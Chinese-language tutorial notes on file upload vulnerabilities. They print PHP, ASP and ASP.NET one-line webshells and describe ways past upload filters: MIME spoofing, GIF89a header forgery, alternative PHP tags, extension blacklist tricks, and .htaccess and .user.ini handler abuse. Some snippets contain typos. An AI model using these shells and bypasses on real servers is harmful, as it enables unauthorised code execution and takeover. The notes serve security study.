文件处理漏洞--文件上传
一、文件上传简介
1、什么是文件上传漏洞:
大部分站点都具有文件上传供能,例如头像,文章编辑,附件上传等等,文件上传漏洞就是利用文件上传功能前去上传可执行的脚本文件,并通过此脚本文件获得一定的服务器权限
2、什么是webshell
webshell就是一个网页,一般有asp,jsp,php,aspx,jspx等这类web应用程序开发语言,与正常网站不同的是,webshell一般会具有文件管理、端口管理、提权、获取系统信息等供能,具备这一类较完整功能的webshell,一般称为大马,供能建议的webshell称为一句话木马或小马
3、webshell-----一句话木马
<?php @eval($_POST[x]);>
@:错误运算符,当@防止在一个php表达式前,该表达式可能产生的任何信息都被忽略
eval()将字符串当作拍黄片代码去执行,例如eval('phpinfo();')其中phpinfo();会被当做php代码去执行
ASP
<%eval request("x")%>
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.ltem["x"],"unsafe");%>
4、中国议剑:
一款开源的跨平台网站管理工具,意识一款webshell管理工具,
二、文件上传利用
上传可执行脚本,通过可执行脚本获得一定的服务器权限
三、文件上传漏洞绕过
1、JavaScript验证绕过
1)、直接发送请求包
通过burp抓到正常上传的请求报文后,修改报文内容,在通过burp发送,便跳过了网页中的js验证
2)、修改JavaScript
修改其中关键的检测函数,或者直接通过noscript插件禁用JavaScript
2、服务器MIME类型绕过
1、MIME类型时描述消息内容类型的因特网标准
text 表明文件是普通文本,理论上是人类可读 text/plain, text/html, text/css, text/javascript
image 表明是某种图像。不包括视频,但是动态图(比如动态gif)也使用image类型 image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon,image/vnd.microsoft.icon
audio 表明是某种音频文件 audio/midi,audio/mpeg,audio/webm, audio/ogg, audio/wav
video 表明是某种视频文件 video/webm, video/ogg
application 表明是某种二进制数据 application/octet-stream, application/pkcs12, application/vnd.mspowerpoint,application/xhtmI+xml,application/xml, application/pdf
2、服务端MIME类型验证绕过MIMIE验证常见绕过方式
利用Burp抓包,将报文中的Content-Type改成允许的类型
Content-Type: image/gif
Content-Type: image/jpg
Content-Type: image/png
3、服务器文件内容验证-文件头
1、图片格式往往不是根据文件后缀名去做判断的,文件头是文件开头的一段二进制,不同的图片类型,文件头是不同的,文件头又称文件幻数
2、文件头检查只针对文件头进行校验,可以在上传的木马前面加上图片的文件头及进行伪造绕过,GIF文件的文件头最好伪造,在木马前面直接加上GIF89a
GIF89a<?php eval($ POST[1]);?>
3、服务器文件内容验证-php标签
网站会对上传的内容及进行验证,一旦含有php的内容,便会判为非法文件,可以通过以下方法绕过
当过滤php时:<?=phpinfo();?>,等同于<?php echo phpinfo();?>
当过滤<?时可以使用<script language="php">phpinfo();</script> 限php5
4、服务器文件扩展名验证-黑名单
后缀名大小写---PhP
这些文件同样会被解析 php |php3|php5|php7| phtml| pht
5、服务器文件扩展名验证-双写绕过
网站会针对后缀进行检测,只是将黑名单的内容替换成空字符
例如php中可能使用str_replace()进行字符串替换
6、利用服务器特殊配置
1)、如果在Apache中,htaccess的配置有效。且可被上传。那可以尝试在,htaccess中写入:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
效果为文件名中含有jpg的文件会被解析成php
AddType application/x-httpd-php .png
效果为文件后缀为.png的文件会被解析成php。
SetHandler applecation/x-httpd-php
会将内容符合php语法规则的文件当作php文件解析
AddHandler php5-script .php
[1.php.jpg]中包含.php,并且.htaccess文件的内容如下,[1.php.jpg]中的代码就会被执行
2)、.user.ini配置文件
先上传.user.ini配置文件 文件内容 auto_prepend_file="shell.png"
后上传shell.png文件,文件内容<?php @eval($_POST[x]);?>
7、过滤']'时可以使用‘{}’代替
<?= @eval($_POST{x});?>